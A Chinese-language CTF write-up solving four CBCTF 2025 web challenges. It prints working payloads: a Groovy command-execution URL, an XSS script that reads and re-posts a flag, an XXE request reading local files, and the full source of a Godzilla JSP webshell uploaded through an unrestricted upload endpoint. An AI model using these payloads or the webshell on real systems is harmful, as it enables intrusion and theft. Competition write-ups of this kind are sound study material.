CBCTF(2025) Web Writeup
2025-10-07 10:51:56

CB(2025) CTF

杭州电子科技大学招新赛 - Web方向,除了一道0day其它AK,当时在复现Spring Cloud Gateway环境属性那个洞,没来得及去管这个题。

ez_groovy

签到题,未做任何过滤的groovy命令执行

1
/groovy/exec?content="env".execute().text

ezxss

题目存在xss但是不出网,可以让botflag结果通过submitNote提交到前台

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<script>
(async () => {
try {
const flagRes = await fetch('/flag');
const flag = await flagRes.text();
await fetch('/submitNote', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
noteName: 'leak',
note: 'FLAG: ' + flag
})
});
} catch (e) {
console.error(e);
}
})();
</script>

然后访问http://<ip>/bot?noteName=evilevil是你自己取的名字)

最后访问http://<ip>/notes/leakflag

image-20250927125310-r75ljc9

ez_php

简单的XXE代码审计,username是回显点,直接利用file://协议读即可

1
2
3
4
5
POST /register.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 101.37.152.107:59594

username=jiale2&password=mypassword&user_xml_format=%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3C!DOCTYPE%20userinfo%20%5B%0A%20%20%3C!ENTITY%20file%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%3E%0A%5D%3E%0A%3Cuserinfo%3E%3Cuser%3E%3Cusername%3E%26file%3B%3C%2Fusername%3E%3Cpassword%3E%26file%3B%3C%2Fpassword%3E%3C%2Fuser%3E%3C%2Fuserinfo%3E

然后调用login.php触发XXE

image-20250927132040-j6c629t

Kill-tomcat-memshell

文件上传 + 内存马查杀

先看web.xml /UploadLogo路由,存在文件上传漏洞

1
2
3
4
5
6
7
8
<servlet>
<servlet-name>UploadLogoServlet</servlet-name>
<servlet-class>com.web.UploadLogoServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadLogoServlet</servlet-name>
<url-pattern>/UploadLogo</url-pattern>
</servlet-mapping>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@MultipartConfig(
fileSizeThreshold = 1048576,
maxFileSize = 10485760L,
maxRequestSize = 15728640L
)
public class UploadLogoServlet extends HttpServlet {
public UploadLogoServlet() {
}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Part filePart = request.getPart("file");
String fileName = filePart.getSubmittedFileName();
String basePath = this.getServletContext().getRealPath("/uploads");
File uploadsDir = new File(basePath);
if (!uploadsDir.exists()) {
uploadsDir.mkdirs();
}

File file = new File(uploadsDir, fileName);
filePart.write(file.getAbsolutePath());
String fileUrl = request.getContextPath() + "/uploads/" + fileName;
response.getWriter().print("Logo uploaded successfully! URL: " + fileUrl);
}
}

直接上传哥斯拉马 -> https://github.com/BeichenDream/Godzilla

test.jsp

1
<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%>

image-20250927121508-d9c5cqc

上传成功,哥斯拉连接:

image-20250927121602-iri7vol

内存马查杀

已知flag/check.log文件中,需要清除内存马后才能回显flag

因为项目是用Tomcat启动的,所以先看看Tomcat日志文件是怎么检测内存马是否被查杀的 -> /usr/local/tomcat/logs/localhost_access_log.2025-09-27.txt

image-20250927121847-xahoxo4

杀内存马最简单的方式就是重启Web服务器,关机和启动脚本位于/usr/local/tomcat/bin/shutdown.sh/usr/local/tomcat/bin/startup.sh

不能逐个执行,若先关机我们的马就掉了,重新写一个restart.sh,先执行shutdown.sh再执行startup.sh

1
2
3
4
#!/bin/bash
/usr/local/tomcat/bin/shutdown.sh
sleep 5
/usr/local/tomcat/bin/startup.sh

给权限 -> chmod +x /usr/local/tomcat/bin/restart.sh

image-20250927122310-ul9cyym

执行restart.sh,重启后再读/check.log,拿到flag

image-20250927122448-r06uafb

2025-10-07 10:51:56